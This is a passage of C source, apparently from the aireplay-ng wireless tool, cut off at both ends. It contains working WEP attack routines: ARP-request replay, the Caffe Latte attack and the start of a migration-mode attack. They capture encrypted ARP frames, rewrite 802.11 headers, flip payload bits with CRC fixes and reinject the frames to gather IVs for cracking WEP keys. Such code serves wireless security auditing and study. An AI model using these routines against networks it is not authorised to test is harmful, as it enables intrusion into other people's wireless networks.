&caplen, 0 ) != 0 ) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; /* rewrite the frame control & MAC addresses */ switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } if( memcmp( opt.r_bssid, NULL_MAC, 6 ) == 0 ) memcpy( bssid, h80211 + mi_b, 6 ); else memcpy( bssid, opt.r_bssid, 6 ); if( memcmp( opt.r_smac , NULL_MAC, 6 ) == 0 ) memcpy( smac, h80211 + mi_s, 6 ); else memcpy( smac, opt.r_smac, 6 ); if( memcmp( opt.r_dmac , NULL_MAC, 6 ) == 0 ) memcpy( dmac, h80211 + mi_d, 6 ); else memcpy( dmac, opt.r_dmac, 6 ); if( opt.r_fctrl != -1 ) { h80211[0] = opt.r_fctrl >> 8; h80211[1] = opt.r_fctrl & 0xFF; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } } memcpy( h80211 + mi_b, bssid, 6 ); memcpy( h80211 + mi_s, smac , 6 ); memcpy( h80211 + mi_d, dmac , 6 ); /* loop resending the packet */ /* Check if airodump-ng is running. If not, print that message */ printf( "You should also start airodump-ng to capture replies.\n\n" ); signal( SIGINT, sighandler ); ctrl_c = 0; memset( ticks, 0, sizeof( ticks ) ); nb_pkt_sent = 0; while( 1 ) { if( ctrl_c ) goto read_packets; /* wait for the next timer interrupt, or sleep */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } /* update the status line */ if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rSent %ld packets...(%d pps)\33[K\r", nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION))); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION < 1 ) continue; /* threshold reached */ ticks[2] = 0; if( nb_pkt_sent == 0 ) ticks[0] = 0; if( send_packet( h80211, caplen ) < 0 ) return( 1 ); if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) { if( send_packet( h80211, caplen ) < 0 ) return( 1 ); } } return( 0 ); } int do_attack_arp_resend( void ) { int nb_bad_pkt; int arp_off1, arp_off2; int i, n, caplen, nb_arp, z; long nb_pkt_read, nb_arp_tot, nb_ack_pkt; time_t tc; float f, ticks[3]; struct timeval tv; struct timeval tv2; struct tm *lt; FILE *f_cap_out; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; struct ARP_req * arp; /* capture only WEP data to broadcast address */ opt.f_type = 2; opt.f_subtype = 0; opt.f_iswep = 1; memset( opt.f_dmac, 0xFF, 6 ); if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a source MAC (-h).\n" ); return( 1 ); } if(getnet(NULL, 1, 1) != 0) return 1; /* create and write the output pcap header */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_arp-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving ARP requests in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } fflush( f_cap_out ); printf( "You should also start airodump-ng to capture replies.\n" ); if(opt.port_in <= 0) { /* avoid blocking on reading the socket */ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } if ( opt.ringbuffer ) arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) ); else arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) ); memset( ticks, 0, sizeof( ticks ) ); tc = time( NULL ) - 11; nb_pkt_read = 0; nb_bad_pkt = 0; nb_ack_pkt = 0; nb_arp = 0; nb_arp_tot = 0; arp_off1 = 0; arp_off2 = 0; while( 1 ) { /* sleep until the next clock tick */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rRead %ld packets (got %ld ARP requests and %ld ACKs), " "sent %ld packets...(%d pps)\r", nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) ); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* threshold reach, send one frame */ ticks[2] = 0; if( nb_arp > 0 ) { if( nb_pkt_sent == 0 ) ticks[0] = 0; if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) { if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); } if( ++arp_off1 >= nb_arp ) arp_off1 = 0; } } /* read a frame, and check if it's an ARP request */ if( opt.s_file == NULL ) { gettimeofday( &tv, NULL ); caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( caplen < 0 ) return( 1 ); if( caplen == 0 ) continue; } else { n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } } nb_pkt_read++; /* check if it's a disassociation or deauthentication packet */ if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) && ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) { nb_bad_pkt++; if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 ) { printf( "\33[KNotice: got a deauth/disassoc packet. Is the " "source MAC associated ?\n" ); tc = time( NULL ); nb_bad_pkt = 0; } } if( h80211[0] == 0xD4 && ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) { nb_ack_pkt++; } /* check if it's a potential ARP request */ opt.f_minlen = opt.f_maxlen = 68; if( filter_packet( h80211, caplen ) == 0 ) goto add_arp; opt.f_minlen = opt.f_maxlen = 86; if( filter_packet( h80211, caplen ) == 0 ) { add_arp: z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 1: /* ToDS */ { /* keep as a ToDS packet */ memcpy( h80211 + 4, opt.f_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.f_dmac, 6 ); h80211[1] = 0x41; /* ToDS & WEP */ } case 2: /* FromDS */ { if( opt.r_fromdsinj ) { /* keep as a FromDS packet */ memcpy( h80211 + 4, opt.f_dmac, 6 ); memcpy( h80211 + 10, opt.f_bssid, 6 ); memcpy( h80211 + 16, opt.r_smac, 6 ); h80211[1] = 0x42; /* FromDS & WEP */ } else { /* rewrite header to make it a ToDS packet */ memcpy( h80211 + 4, opt.f_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.f_dmac, 6 ); h80211[1] = 0x41; /* ToDS & WEP */ } } } //should be correct already, keep qos/wds status // h80211[0] = 0x08; /* normal data */ /* if same IV, perhaps our own packet, skip it */ for( i = 0; i < nb_arp; i++ ) { if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 ) break; } if( i < nb_arp ) continue; if( caplen > 128) continue; /* add the ARP request in the ring buffer */ nb_arp_tot++; /* Ring buffer size: by default: 8 ) */ if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0) { /* no more room, overwrite oldest entry */ memcpy( arp[arp_off2].buf, h80211, caplen ); arp[arp_off2].len = caplen; arp[arp_off2].hdrlen = z; if( ++arp_off2 >= nb_arp ) arp_off2 = 0; } else { if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) { perror( "malloc failed" ); return( 1 ); } memcpy( arp[nb_arp].buf, h80211, caplen ); arp[nb_arp].len = caplen; arp[nb_arp].hdrlen = z; nb_arp++; pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = caplen; pkh.len = caplen; n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fflush( f_cap_out ); } } } return( 0 ); } int do_attack_caffe_latte( void ) { int nb_bad_pkt; int arp_off1, arp_off2; int i, n, caplen, nb_arp, z; long nb_pkt_read, nb_arp_tot, nb_ack_pkt; unsigned char flip[4096]; time_t tc; float f, ticks[3]; struct timeval tv; struct timeval tv2; struct tm *lt; FILE *f_cap_out; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; struct ARP_req * arp; /* capture only WEP data to broadcast address */ opt.f_type = 2; opt.f_subtype = 0; opt.f_iswep = 1; opt.f_fromds = 0; if(getnet(NULL, 1, 1) != 0) return 1; if( memcmp( opt.f_bssid, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a BSSID (-b).\n" ); return( 1 ); } /* create and write the output pcap header */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_arp-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving ARP requests in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } fflush( f_cap_out ); printf( "You should also start airodump-ng to capture replies.\n" ); if(opt.port_in <= 0) { /* avoid blocking on reading the socket */ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } if ( opt.ringbuffer ) arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) ); else arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) ); memset( ticks, 0, sizeof( ticks ) ); tc = time( NULL ) - 11; nb_pkt_read = 0; nb_bad_pkt = 0; nb_ack_pkt = 0; nb_arp = 0; nb_arp_tot = 0; arp_off1 = 0; arp_off2 = 0; while( 1 ) { /* sleep until the next clock tick */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rRead %ld packets (%ld ARPs, %ld ACKs), " "sent %ld packets...(%d pps)\r", nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) ); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* threshold reach, send one frame */ ticks[2] = 0; if( nb_arp > 0 ) { if( nb_pkt_sent == 0 ) ticks[0] = 0; if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) { if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); } if( ++arp_off1 >= nb_arp ) arp_off1 = 0; } } /* read a frame, and check if it's an ARP request */ if( opt.s_file == NULL ) { gettimeofday( &tv, NULL ); caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( caplen < 0 ) return( 1 ); if( caplen == 0 ) continue; } else { n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } } nb_pkt_read++; /* check if it's a disas. or deauth packet */ if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) && ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) { nb_bad_pkt++; if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 ) { printf( "\33[KNotice: got a deauth/disassoc packet. Is the " "source MAC associated ?\n" ); tc = time( NULL ); nb_bad_pkt = 0; } } if( h80211[0] == 0xD4 && ! memcmp( h80211 + 4, opt.f_bssid, 6 ) ) { nb_ack_pkt++; } /* check if it's a potential ARP request */ opt.f_minlen = opt.f_maxlen = 68; if( filter_packet( h80211, caplen ) == 0 ) goto add_arp; opt.f_minlen = opt.f_maxlen = 86; if( filter_packet( h80211, caplen ) == 0 ) { add_arp: z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 0: /* ad-hoc */ { if(memcmp(h80211 + 16, BROADCAST, 6) == 0) { /* rewrite to an ad-hoc packet */ memcpy( h80211 + 4, BROADCAST, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); h80211[1] = 0x40; /* WEP */ } else { nb_arp_tot++; continue; } break; } case 1: /* ToDS */ { if(memcmp(h80211 + 16, BROADCAST, 6) == 0) { /* rewrite to a FromDS packet */ memcpy( h80211 + 4, BROADCAST, 6 ); memcpy( h80211 + 10, opt.f_bssid, 6 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); h80211[1] = 0x42; /* ToDS & WEP */ } else { nb_arp_tot++; continue; } break; } default: continue; } // h80211[0] = 0x08; /* normal data */ /* if same IV, perhaps our own packet, skip it */ for( i = 0; i < nb_arp; i++ ) { if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 ) break; } if( i < nb_arp ) continue; if( caplen > 128) continue; /* add the ARP request in the ring buffer */ nb_arp_tot++; /* Ring buffer size: by default: 8 ) */ if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0) continue; else { if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) { perror( "malloc failed" ); return( 1 ); } memset(flip, 0, 4096); // flip[49-24-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender MAC // flip[53-24-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP flip[z+21] ^= ((rand() % 255)+1); //flip random bits in last byte of sender MAC flip[z+25] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP add_crc32_plain(flip, caplen-z-4-4); for(i=0; i<caplen-z-4; i++) (h80211+z+4)[i] ^= flip[i]; memcpy( arp[nb_arp].buf, h80211, caplen ); arp[nb_arp].len = caplen; arp[nb_arp].hdrlen = z; nb_arp++; pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = caplen; pkh.len = caplen; n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fflush( f_cap_out ); } } } return( 0 ); } int do_attack_migmode( void ) { int nb_bad_pkt; int arp_off1, arp_off2; int i, n, caplen, nb_arp, z; long nb_pkt_read, nb_arp_tot, nb_ack_pkt; unsigned char flip[4096]; unsigned char senderMAC[6]; time_t tc; float f, ticks[3]; struct timeval tv; struct timeval tv2; struct tm *lt; FILE *f_cap_out; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; struct ARP_req * arp; if ( opt.ringbuffer ) arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) ); else arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) ); /* capture only WEP data to broadcast address */ opt.f_type = 2; opt.f_subtype = 0; opt.f_iswep = 1; opt.f_fromds = 1; if(getnet(NULL, 1, 1) != 0) return 1; if( memcmp( opt.f_bssid, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a BSSID (-b).\n" ); return( 1 ); } /* create and write the output pcap header */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_arp-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving ARP requests in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } fflush( f_cap_out ); printf( "You should also start airodump-ng to capture replies.\n" ); printf( "Remember to filter the capture to only keep WEP frames: "); printf( " \"tshark -R 'wlan.wep.iv' -r capture.cap -w outcapture.cap\"\n"); //printf( "Remember to filter the capture to keep only broadcast From-DS frames.\n"); if(opt.port_in <= 0) { /* avoid blocking on reading the socket */ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } memset( ticks, 0, sizeof( ticks ) ); tc = time( NULL ) - 11; nb_pkt_read = 0; nb_bad_pkt = 0; nb_ack_pkt = 0; nb_arp = 0; nb_arp_tot = 0; arp_off1 = 0; arp_off2 = 0; while( 1 ) { /* sleep until the next clock tick */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rRead %ld packets (%ld ARPs, %ld ACKs), " "sent %ld packets...(%d pps)\r", nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) ); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* threshold reach, send one frame */ ticks[2] = 0; if( nb_arp > 0 ) { if( nb_pkt_sent == 0 ) ticks[0] = 0; if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) { if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); } if( ++arp_off1 >= nb_arp ) arp_off1 = 0; } } /* read a frame, and check if it's an ARP request */ if( opt.s_file == NULL ) { gettimeofday( &tv, NULL ); caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( caplen < 0 ) return( 1 ); if( caplen == 0 ) continue; } else { n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } } nb_pkt_read++; /* check if it's a disas. or deauth packet */ if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) && ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) { nb_bad_pkt++; if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 ) { printf( "\33[KNotice: got a deauth/disassoc packet. Is the " "source MAC associated ?\n" ); tc = time( NULL ); nb_bad_pkt = 0; } } if( h80211[0] == 0xD4 && ! memcmp( h80211 + 4, opt.f_bssid, 6 ) ) { nb_ack_pkt++; } /* check if it's a potential ARP request */ opt.f_minlen = opt.f_maxlen = 68; if( filter_packet( h80211, caplen ) == 0 ) goto add_arp; opt.f_minlen = opt.f_maxlen = 86; if( filter_packet( h80211, caplen ) == 0 ) { add_arp: z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 2: /* FromDS */ { if(memcmp(h80211 + 4, BROADCAST, 6) == 0) { /* backup sender MAC */ memset( senderMAC, 0, 6 ); memcpy( senderMAC, h80211 + 16, 6 ); /* rewrite to a ToDS packet */ memcpy( h80211 + 4, opt.f_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, BROADCAST, 6 ); h80211[1] = 0x41; /* ToDS & WEP */ } else { nb_arp_tot++; continue; } break; } default: continue; } // h80211[0] = 0x08; /* normal data */ /* if same IV, perhaps our own packet, skip it */ for( i = 0; i < nb_arp; i++ ) { if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 ) break; } if( i < nb_arp ) continue; if( caplen > 128) continue; /* add the ARP request in the ring buffer */ nb_arp_tot++; /* Ring buffer size: by default: 8 ) */ if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0) continue; else { if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) { perror( "malloc failed" ); return( 1 ); } memset(flip, 0, 4096); /* flip the sender MAC to convert it into the source MAC */ flip[16] ^= (opt.r_smac[0] ^ senderMAC[0]); flip[17] ^= (opt.r_smac[1] ^ senderMAC[1]); flip[18] ^= (opt.r_smac[2] ^ senderMAC[2]); flip[19] ^= (opt.r_smac[3] ^ senderMAC[3]); flip[20] ^= (opt.r_smac[4] ^ senderMAC[4]); flip[21] ^= (opt.r_smac[5] ^ senderMAC[5]); flip[25] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP add_crc32_plain(flip, caplen-z-4-4); for(i=0; i<caplen-z-4; i++) { (h80211+z+4)[i] ^= flip[i]; } memcpy( arp[nb_arp].buf, h80211, caplen 